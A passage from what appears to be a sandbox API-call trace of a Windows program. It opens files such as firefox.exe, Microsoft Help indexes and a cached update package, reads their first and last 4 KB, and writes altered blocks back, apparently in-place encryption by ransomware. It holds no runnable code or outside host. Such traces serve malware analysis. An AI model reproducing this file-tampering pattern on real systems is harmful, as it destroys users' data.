lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3c18 [0046.468] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.468] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.468] ReleaseMutex (hMutex=0x128) returned 1 [0046.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msolui100.rll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0046.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msolui100.rll", cchWideChar=13, lpMultiByteStr=0x1e6326c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msolui100.rll", lpUsedDefaultChar=0x0) returned 13 [0046.468] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.475] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2c18 [0046.475] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.514] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2c18 [0046.514] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.515] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0046.515] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.515] CloseHandle (hObject=0x198) returned 1 [0046.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\crashreporter-override.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x30f [0046.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.520] ReleaseMutex (hMutex=0x128) returned 1 [0046.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crashreporter-override.ini", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0046.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crashreporter-override.ini", cchWideChar=26, lpMultiByteStr=0x1e7fb4c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crashreporter-override.ini", lpUsedDefaultChar=0x0) returned 26 [0046.520] ReadFile (in: hFile=0x198, lpBuffer=0x275b028, nNumberOfBytesToRead=0x30f, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2f4f2bc*=0x30f, lpOverlapped=0x0) returned 1 [0046.569] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.569] WriteFile (in: hFile=0x198, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x897, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x897, lpOverlapped=0x0) returned 1 [0046.569] CloseHandle (hObject=0x198) returned 1 [0046.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.570] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.570] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x43470 [0046.570] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.570] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.570] ReleaseMutex (hMutex=0x128) returned 1 [0046.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="firefox.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="firefox.exe", cchWideChar=11, lpMultiByteStr=0x1e630ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="firefox.exe", lpUsedDefaultChar=0x0) returned 11 [0046.570] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.616] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x42470 [0046.618] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.658] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x42470 [0046.659] WriteFile (in: hFile=0x198, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.659] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0046.659] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.659] CloseHandle (hObject=0x198) returned 1 [0046.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.815] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.815] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7e3 [0046.816] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.816] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.816] ReleaseMutex (hMutex=0x128) returned 1 [0046.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="precomplete", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="precomplete", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="precomplete", lpUsedDefaultChar=0x0) returned 11 [0046.819] ReadFile (in: hFile=0x1a8, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x7e3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x2f4f2bc*=0x7e3, lpOverlapped=0x0) returned 1 [0046.835] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.835] WriteFile (in: hFile=0x1a8, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xd6b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xd6b, lpOverlapped=0x0) returned 1 [0046.835] CloseHandle (hObject=0x1a8) returned 1 [0046.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\omni.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.836] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.836] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x69f7 [0046.836] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.836] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.836] ReleaseMutex (hMutex=0x128) returned 1 [0046.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="omni.ja", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="omni.ja", cchWideChar=7, lpMultiByteStr=0x1e6a894, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="omni.ja", lpUsedDefaultChar=0x0) returned 7 [0046.836] ReadFile (in: hFile=0x1a8, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.860] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x59f7 [0046.860] ReadFile (in: hFile=0x1a8, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.884] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x59f7 [0046.884] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.884] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0046.884] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.885] CloseHandle (hObject=0x1a8) returned 1 [0046.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", lpFilePart=0x2f4f690*="Workflow.VisualBasic.Targets") returned 0x66 [0046.885] GetLastError () returned 0x5 [0046.885] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0046.885] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.885] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.885] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0046.885] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0046.886] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0046.886] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0046.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoacq.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.926] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", lpFilePart=0x2f4f690*="PhotoAcq.dll.mui") returned 0x42 [0046.926] GetLastError () returned 0x5 [0046.926] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0046.926] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.926] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.926] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0046.926] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0046.927] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0046.927] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoacq.dll.mui")) returned 0x20 [0046.927] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.928] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.929] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x186 [0046.929] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.929] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.929] ReleaseMutex (hMutex=0x128) returned 1 [0046.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hx.hxn", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hx.hxn", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hx.hxn", lpUsedDefaultChar=0x0) returned 6 [0046.929] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df3fd8, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df3fd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x186, lpOverlapped=0x0) returned 1 [0046.930] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.930] WriteFile (in: hFile=0x1a8, lpBuffer=0x2808d48*, nNumberOfBytesToWrite=0x70e, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2808d48*, lpNumberOfBytesWritten=0x2f4f2d0*=0x70e, lpOverlapped=0x0) returned 1 [0046.930] CloseHandle (hObject=0x1a8) returned 1 [0046.930] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.942] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.942] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x146 [0046.942] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.942] ReleaseMutex (hMutex=0x128) returned 1 [0046.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0046.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e78b04, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSPUB.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0046.942] ReadFile (in: hFile=0x1a8, lpBuffer=0x253c138, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x2f4f2bc*=0x146, lpOverlapped=0x0) returned 1 [0046.943] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.943] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ce, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6ce, lpOverlapped=0x0) returned 1 [0046.943] CloseHandle (hObject=0x1a8) returned 1 [0046.943] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0046.946] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.946] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x146 [0046.947] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.947] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.947] ReleaseMutex (hMutex=0x128) returned 1 [0046.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0046.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e78b04, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0046.947] ReadFile (in: hFile=0x1cc, lpBuffer=0x253c138, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x2f4f2bc*=0x146, lpOverlapped=0x0) returned 1 [0046.947] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0046.948] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ce, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6ce, lpOverlapped=0x0) returned 1 [0046.948] CloseHandle (hObject=0x1cc) returned 1 [0046.948] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0046.950] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.950] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xf7139 [0046.950] SetFilePointer (in: hFile=0x1cc, 